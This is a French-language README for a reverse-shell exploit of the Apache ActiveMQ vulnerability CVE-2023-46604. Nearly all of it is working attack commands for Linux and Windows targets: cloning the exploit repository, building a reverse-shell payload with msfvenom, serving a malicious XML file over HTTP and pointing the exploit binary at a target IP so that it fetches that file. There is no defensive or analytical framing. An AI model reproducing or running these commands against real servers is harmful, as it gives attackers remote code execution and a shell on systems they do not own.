
Réaliser un exploit de shell inversé pour Apache ActiveMQ (CVE_2023-46604)
Cet exploit s'appuie sur le travail fondamental disponible sur https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). Nous avons développé la technique pour obtenir un shell inversé en utilisant le Metasploit Framework (https://github.com/rapid7/metasploit-framework).
Important : Modifiez manuellement l'adresse IP (0.0.0.0 sur la ligne 11) dans les fichiers XML avec l'adresse IP où le payload sera généré. Si vous suivez les commandes ci-dessous, ce sera votre adresse IP d'écoute. De plus, {IP_Of_Hosted_XML_File} sera votre adresse IP d'écoute.
Pour les cibles Linux/Unix
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
Pour les cibles Windows
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f eXE -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml



Un remerciement spécial à https://github.com/Anon4mous pour son soutien actif.